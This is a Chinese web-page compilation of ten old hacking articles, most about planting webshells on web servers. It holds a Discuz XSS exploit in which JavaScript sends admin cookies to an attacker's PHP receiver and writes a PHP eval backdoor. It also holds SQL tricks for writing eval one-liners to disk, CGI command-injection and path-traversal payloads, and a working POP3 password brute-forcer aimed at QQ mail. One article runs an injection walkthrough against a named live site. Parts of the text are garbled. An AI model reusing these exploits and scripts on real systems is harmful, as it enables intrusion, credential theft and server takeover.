Discuz XSS得webshell脚本安全(精选10篇)由网友“Francesca”投稿提供,以下是小编为大家准备了Discuz XSS得webshell脚本安全,欢迎参阅。
篇1:Discuz XSS得webshell脚本安全
By racle @tian6.com
欢迎转帖.但请保留版权信息.
受影响版本:Discuz<=6.1.0,gbk+utf+big5
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:bbs.tian6.com/redire... ... 54794&ptid=8706
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe. Trick,crsf等等..
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
problem2:DISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
problem3:formhash函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数
function saverunwizardhistory() {
global $runwizardfile, $runwizardhistory;
$fp = fopen($runwizardfile, 'w');
fwrite($fp, serialize($runwizardhistory));
fclose($fp);
}
复制代码
serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
以下是修补的办法:
function saverunwizardhistory() {
global $runwizardfile, $runwizardhistory;
$fp = fopen($runwizardfile, 'w');
$s = '
$s .= serialize($runwizardhistory);
fwrite($fp, $s);
fclose($fp);
}
复制代码
加写 '
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.
JS部分代码:
var url=“目标网站/admincp.php”;
/*获得cookies*/
function getURL(s) {
var image = new Image();
image.style.width = 0;
image.style.height = 0;
image.src = s;
}
getURL(“我们做好的接收cookies的.php?x=”+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
复制代码
php以get方式接收过来的变量.
$cookies=$_GET['x'];
复制代码
同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) :)
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:
var url=“tian6.com/raclebbs/&...
/*hash*/
var xmlHttpReq = new ActiveXObject(”MSXML2.XMLHTTP.3.0“);
xmlHttpReq.open(”GET“, url+”admincp.php?action=home“, false);
xmlHttpReq.send();
var resource = xmlHttpReq.responseText;
var numero = resource.search(/formhash/);
var formhash=encodeURIComponent(resource.substr(numero+17,8));
var post=”formhash=“+formhash+”&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5“;//构造要携带的数据
xmlHttpReq.open(”POST“,url+”admincp.php?action=runwizard&step=3“,false);//使用POST方法打开一个到服务器的连接,以异步方式通信
xmlHttpReq.setRequestHeader(”Referer“, url);
xmlHttpReq.setrequestheader(”Accept“,”image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*“);
xmlHttpReq.setrequestheader(”content-length“,post.length);
xmlHttpReq.setrequestheader(”content-type“,”application/x-www-form-urlencoded“);
xmlHttpReq.send(post);//发送数据
复制代码
这里HASH我假设正确,这样提交,也无须cookies
再看看以PHP SOCKET形式提交.
$sock = fsockopen(”$url“, 80, $errno, $errstr, 30);
if (!$sock) die(”$errstr ($errno)n“);
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
fwrite($sock, ”POST $url/admincp.php?act... HTTP/1.1rn“);
fwrite($sock, ”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*rn“);
fwrite($sock, ”Referer: $url/admincp.php?act...
fwrite($sock, “Accept-Language: zh-cnrn”);
fwrite($sock, “Content-Type: application/x-www-form-urlencodedrn”);
fwrite($sock, “Accept-Encoding: gzip, deflatern”);
fwrite($sock, “User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)rn”);
fwrite($sock, “Host: $urlrn”);
fwrite($sock, “Content-Length: ”.strlen($data).“rn”);
fwrite($sock, “Connection: Keep-Alivern”);
fwrite($sock, “Cache-Control: no-cachern”);
fwrite($sock, “Cookie:”.$cookies.“rnrn”);
fwrite($sock, $data);
$headers = “”;
while ($str = trim(fgets($sock, 4096)))
$headers .= “$strn”;
echo “n”;
$body = “”;
while (!feof($sock))
$body .= fgets($sock, 4096);
fclose($sock);
echo $body;
复制代码
整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
1:PHP SOCKET利用方法
首先打开racle.js
var url=“tian6.com/raclebbs/a... //改成你要XSS攻击的目标,譬如www.discuz.com/admin...
然后打开racle@tian6.php
$url=”racle@tian6.com“; //改成你要XSS攻击的目标,譬如www.discuz.com
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
getURL(”racle@tian6.php?resource_hash=“+encodeURIComponent(resource.substr(numero+17,8))+”&x=“+encodeURIComponent(document.cookie));
为
getURL(”racle@tian6.php?resource_hash=“+encodeURIComponent(resource.substr(numero+9,8))+”&x=“+encodeURIComponent(document.cookie));
复制代码
2:JS利用方法
打开ajax-racle.js,修改var url=”tian6.com/raclebbs/&...为你要攻击的论坛地址.
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
var formhash=encodeURIComponent(resource.substr(numero+17,8));
为
var formhash=encodeURIComponent(resource.substr(numero+9,8));
复制代码
ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:target.com/bbs/forum...,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以构造好XSS点.
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以构造好XSS点.
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个
篇2:HOW TO GET PHPCMS WEBSHELL脚本安全
www.pcsec.org/archives/how-to-get-phpcms2008-webshell.html
Posted by小拳头
进去后
SQL代码
Create TABLE b (cmd text NOT NULL);
SQL代码
Insert INTO b (cmd) VALUES(‘
//在字段cmd中插入一句话木马,木马内容为
PHP代码
前3句都≈葱谐晒ψ詈笠痪渲葱泻笙允究瞻
SQL代码
select cmd from b into outfile ‘E:wwwrootphpcmsphpcmsshell.php’;
篇3:select into outfile导出webshell技巧脚本安全
select into outfile导出webshell技巧
在网上看到的都是先建立一个表,然后插入一句话木马。再查询并导出,经过我实验 其实不用建表 就可以导出文件的
比如我们进入了phpmyadmin,随便点击一个数据库,然后点击sql,接着执行select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile ’d:/xamp/www/ok.php’即可将一句话
遇到php+mysql注入点的时候 如果权限允许并且php.ini里面magic_quotes_gpc=off时候也可以在相应地方直接写入一句话到 web目录,jsp+mysql的话就不需要考虑magic_quotes_gpc...
篇4:SQL log备份上WEBSHELL总结脚本安全
当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
www.site.com/xx.asp?id=xxx;alter databas ... bsp;set RECOVERY FULL
www.site.com/xx.asp?id=xxx;create& ... cmd (a image)--
www.site.com/xx.asp?id=xxx;backup log databasename ... bsp;’c:cmd’ with init
www.site.com/xx.asp?id=xxx;insert into cmd ( ... lt;%%25Execute(request(“go”))%
%25>’)--
www.site.com/xx.asp?id=xxx;backup log databasen ... ;= ’x:xxxxxxasp1.asp’--
www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%25Execute(request(“go”))%%25>
b).<%Execute(request(“go”))%>
c).%><%execute request(“go”)%><%
d).
e).<%25Execute(request(“l”))%25>
2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就eBF梢允 4着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 ’800a000d’
类型不匹配: ’execute’
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将
上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..
篇5:关于defined脚本安全
很多php使用defined来防止外部直接访问php文件,从而保证了只让内部php文件include等调用,如下面:
//tag.php
if (!defined(“X”)) {
echo “You Cannot Access This Script. Directly, Have a Nice Day.”;
exit();
}
?>
这样的代码可以解决很多的安全问题,比如变量未定义[应该说在本文件内未定义]。
但是这样的在本地包含漏洞前就没什么意义了。比如进来看一代码
common.php文件里:
if ( !defined('X') )
{
die('Do not access this file directly.');
}
if ( !isset($root_path) )
{
$root_path = './';
}
require_once($root_path . 'config.php');
如果没有!defined('X') 的限制那么我们,这里$root_path未定义导致了一个远程包含,
而在改脚本又存在一个update-->include的2次攻击导致的本地包含,那么我们可以通过这个本地包含漏洞包含common.php导致突破!defined('X'),转化为远程包含。
篇6:CGI Hack脚本安全
总体思路,跳过限制,查看敏感文件和密码相关文件,写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
注“
perl脚本的漏洞大多出在open()、system()或者 ''调用中。前者允许读写和执行,而后两个允许执行。
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
target.com/cgi-bin/home/news/sub.pl?12 随意构造
target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
target.com/cgi-bin/home/news/sub.pl?`id`
target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
target.com/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/news/sub.pl'` 非常好的思路,把代码cat回来显示
target.com/test.pl;ls|
target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
target.com/test.pl?'id' 类似''内的操作和命令执行自己构造
比如:cat<'/home1/siteadm/cgi-bin/home/news/test.pl'` 把pl代码显示出来。
target.com/index.cgi?page=;dir+c:|&cid=03417 类似asp的Sql injection
target.com/test.pl?&........ /../../etc/passwd
www.target.org/cgi-bin/club/scripts/userinfo.pl?user=./test 前面加./
www.target.org/cgi-bin/club/scripts/userinfo.pl?user=test%00 注意后面的 %00 别弄丢了
www.target.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../etc/passwd%00
www.target.org/show.php?filename=../../../../../../../home/murong/include/config.php 查看php代码
www.target.org/show.php?filename=../../../../../../../home/murong/admin/global.php
emm和ps的一句话“
echo ”
www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls%20
>bbb%20|
www.target.org/cgi-bin/club/scripts'less showpost.pl' 并且寻找(用'/')'SELECT' 字符串
www.target.org/cgi-bin/club/scripts/..%c0%af../..%c0%af../bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
target.com/#cmd.exe
target.com/?dummyparam=xp_cmdshell
lynx target.com/cgi-bin/htmlscript?../../../../etc/passwd
PS:很久前整理asp注射和php注射大全都是私下给好友的,不知道哪个马甲不够意思,就发了出去,
现在满bbs和各动画站点都能看到,而且
作者乱七八糟, 幸亏吃亏以后,再整理或者写的其他文章技巧,只给几个特好的朋友。再也不敢乱发了,用pinke话说,“我写/发现个东西我
容易吗,不知道怎么就被人做成动画或者教程,拿来赚钱也罢了,还要留一句话,没什么技术,黑站就这么简单.” 鄙视这些人们……有本事你
们自己写个lcx,或者什么shell去?我写不来,但是用朋友的,我也心安理得
篇7:HWay && ServU.php脚本安全
作者:linx
利用Serv-U的本地权限提升漏洞自动安装Hway!即使服务器的Serv-U密码被更改,只要ServUAdmin.exe可读,它便能读出更改后的密码.此外HWay && Serv-U.php还具有本地端口扫描的功能.
如果服务器的Serv-U的端口,密码都没有更改,那么直接点击”安装Hway”便可安装成功.否则请点击“获取Serv-U的管理员密码和端口”尝试获取更改后Serv-U的管理员密码和端口.
详细用法看压缩包内图文说明,
HWay && ServU.php脚本安全
,
blogimg.chinaunix.net/blog/upfile2/080712123643.rar
篇8:邮箱爆破脚本脚本安全
#!/usr/bin/perl
use Net::POP3;
$email=“pop.qq.com”;
$pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. ”);
print $pop->banner;
$pop->quit;
$i=0;
open(fp1,“user.txt”);
@array1=
open(fp2,“pass.txt”);
@array2=
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u.“@qq.com”;
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print “cracked with ”.$u.“-----”.$p.“n”;
$i=$i+1;
$pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. ”);
$m=$pop->login($u,$p);
if($m>0)
{
print $u.“------------”.$p.“----”.“success”.“n”;
$pop->quit;
}
else
{
print $u.“------------”.$p.“----”.“failed”.“n”;
$pop->quit;
}
}
}
print $i;
篇9:手工注入脚本安全
现在注入工具横行,自动化的程度已经...不能再自动了.
很多人会熟练的使用啊D,明小子之类的自动注入工具.以为自己就会了...
注入的原理呢.什么是注入.为什么会造成注入.过程...等.
你知道吗?你有没有试过真正的手工注入?没吧.
现在就利用我写的手工注入工具来讲解一下总体手工注入过程.
先找个有注入漏洞的站.很简单满大街都是.
www.jinhu168.com/A3/NewsInfo.asp?id=75
manage_User
username admin
password bfpms
id 35
已经找好了.这是一个标准欠黑型网站.安全度就不用说了.
www.jinhu168.com/A3/NewsInfo.asp?id=75
有注入漏洞的地址.检查一下.
基本确定可能有漏洞.继续.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and exists (select * from manage_User)
查询manage_User这个表名是否存在.
不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....
好了继续.
manage_User 存在...页面返回正常...
名字改了下`不存在就返回错误的页面`
这里是给你填写提示语句用的`不用的话清空就行了.
继续.
返回正常.说明存在.继续.等等`听电话`
不好意思.
不是1位哦`回显错误.呵呵`5位的`回显正常`
这样我们就知道 他很多东西了`表..项..还有内容长度.
帐号的第一位的第一个字母不是1所以出错.
呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.
帐号是什么我想都不用怎么想了吧`5位数的admin
确实是的哦....哈哈.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and 1=(select count(*) from [manage_User] where left(username,5)='admin')
为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.
其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现
全自动的注入工具了.
希望大家在使用我的工具的同时也能学到点东西.
篇10:shell脚本加密脚本安全
第一种方法(gzexe):
这种加密方式不是非常保险的方法,但是能够满足一般的加密用途,可以隐蔽脚本中的密码等信息,
它是使用系统自带的gzexe程序,它不但加密,同时压缩文件。
使用方法:
gzexe file.sh
它会把原来没有加密的文件备份为 file.sh~ ,同时 file.sh 即被变成加密文件;
第二种方法(shc):
使用 shc 对 Linux shell 脚本加密.
shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件,这个办法很好的解决了脚本中含有IP、密码等不希望公开的问题.
shc的下载地址:
点击下载
安装:
tar xzvf shc-3.8.6.tgz
cd shc-3.8.6
mkdir -p /usr/local/man/man1
这步是必须的,不然安装过程中会报错,shc将安装命令到/usr/local/bin/目录下;将帮助文档存放在/usr/local/man/man1/目录下,如果系统中无此目录,安装时会报错,可创建此目录后再执行安装
make install
这是要回答yes或者y,不能直接回车,否则会报错
使用方法:
“-f”选项指定需要加密的程序
shc -r -f script-name
运行后会生成两个文件,script-name.x 和 script-name.x.c. 其中script-name.x是加密后的可执行的二进制文件;用./script-name即可运行,script-name.x.c是生成script-name.x的原文件(c语言).
另shc还提供了一种设定有效执行期限的方法,可以首先使用shc将shell程序转化为二进制,并加上过期时间,如:
# shc -e 18/10/2006 -m “ It’s too late to run this script. ” -f script.s
★ 脚本范文
【Discuz XSS得webshell脚本安全(精选10篇)】相关文章:
IIS Web服务器易忽视的六大基本安全风险2023-04-08
SA权限九种上传文件办法2023-01-15
科讯CMS V7.0 安全设置说明详解2023-08-19
财务软件实施维护工程师简历表格2022-05-08
FTP常用软件servu的安全权限处理WEB安全2022-12-10
网站被入侵后需做的检测2023-07-10
如何防范网站数据库入侵2022-11-30
Discuz论坛安全加固WEB安全2023-01-14
玩一场webshell游戏漏洞预警2023-06-16
疑惑作文150字2022-12-22